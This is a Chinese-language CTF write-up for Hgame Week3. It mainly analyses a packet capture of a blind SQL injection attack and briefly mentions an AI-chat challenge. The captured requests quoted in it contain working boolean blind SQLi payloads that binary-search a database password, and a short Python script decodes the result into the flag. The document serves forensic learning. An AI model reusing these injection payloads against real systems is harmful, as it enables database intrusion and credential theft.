

# Hgame Week3

## Hgame Week3

与ai聊天

Blind SQL Injection

## 与ai聊天



很奇怪，前面试了flag，galf...然后突然就出来了

## Blind SQL Injection

1. 把blindsqli.pcapng放入wireshark
2. 然后学了盲注是什么？
3. 发现这里：

3188	79.155214	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	740	HTTP/1.1 200 OK (text/html)
3186	79.237313	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	336	GET /search.php?id=1-ascii(substr((Select(group_concat(column_name))From(information_schema.columns)where(table_name='Finally'))
3198	79.275504	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	740	HTTP/1.1 200 OK (text/html)
3208	81.432211	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	335	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),1,1))%3E63) HTTP/1.1
3218	81.467972	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	726	HTTP/1.1 200 OK (text/html)
3215	81.568254	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	335	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),1,1))%3E95) HTTP/1.1
3217	81.601226	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	726	HTTP/1.1 200 OK (text/html)
3225	81.704188	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	336	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),1,1))%3E111) HTTP/1.1
3227	81.738426	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	726	HTTP/1.1 200 OK (text/html)
3235	81.843009	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	336	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),1,1))%3E119) HTTP/1.1
3237	81.876121	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	726	HTTP/1.1 200 OK (text/html)
3245	82.004076	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	336	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),1,1))%3E123) HTTP/1.1
3247	82.044233	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	726	HTTP/1.1 200 OK (text/html)
3255	82.147399	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	336	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),1,1))%3E125) HTTP/1.1
3257	82.178204	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	740	HTTP/1.1 200 OK (text/html)
3265	82.291648	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	336	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),1,1))%3E124) HTTP/1.1
3267	82.320911	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	726	HTTP/1.1 200 OK (text/html)
3275	82.432220	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	335	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),2,1))%3E63) HTTP/1.1
3277	82.467331	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	726	HTTP/1.1 200 OK (text/html)
3285	82.509660	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	335	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),2,1))%3E95) HTTP/1.1
3287	82.604527	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	726	HTTP/1.1 200 OK (text/html)
3295	82.709736	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	336	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),2,1))%3E111) HTTP/1.1
3297	82.748884	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	740	HTTP/1.1 200 OK (text/html)
3305	82.848967	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	336	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),2,1))%3E103) HTTP/1.1
3307	82.865017	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	740	HTTP/1.1 200 OK (text/html)
3315	82.989833	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	335	GET /search.php?id=1-ascii(substr((Select(reverse(group_concat(password)))From(Finally)),2,1))%3E99) HTTP/1.1
3317	83.024546	117.21.200.176	172.16.14.21	117.21.200.176	HTTP	726	HTTP/1.1 200 OK (text/html)

出现了一个二分法，比较第i位是否大于某个数，如果判断为真那么它返回长度为726，为假length=740

然后就可以编写脚本破案了

4. 自己找记录下每一位密码的ascii值不会编，

```
str=""125/102/50/102/97/56/50/57/53/99/56/51/100/45/54/99/97/98/45/56/57/101/52/
45/53/50/55/49/45/55/101/102/97/98/97/98/99/123/103/97/108/102/44/96""
a=str.split('/')
print(a)
for i in a:
    print(chr(int(i)),end="")
# print(str)
```

结果: }f2fa8295c83d-6cab-89e4-5271-7efababc{gaIf

逆向一下出flag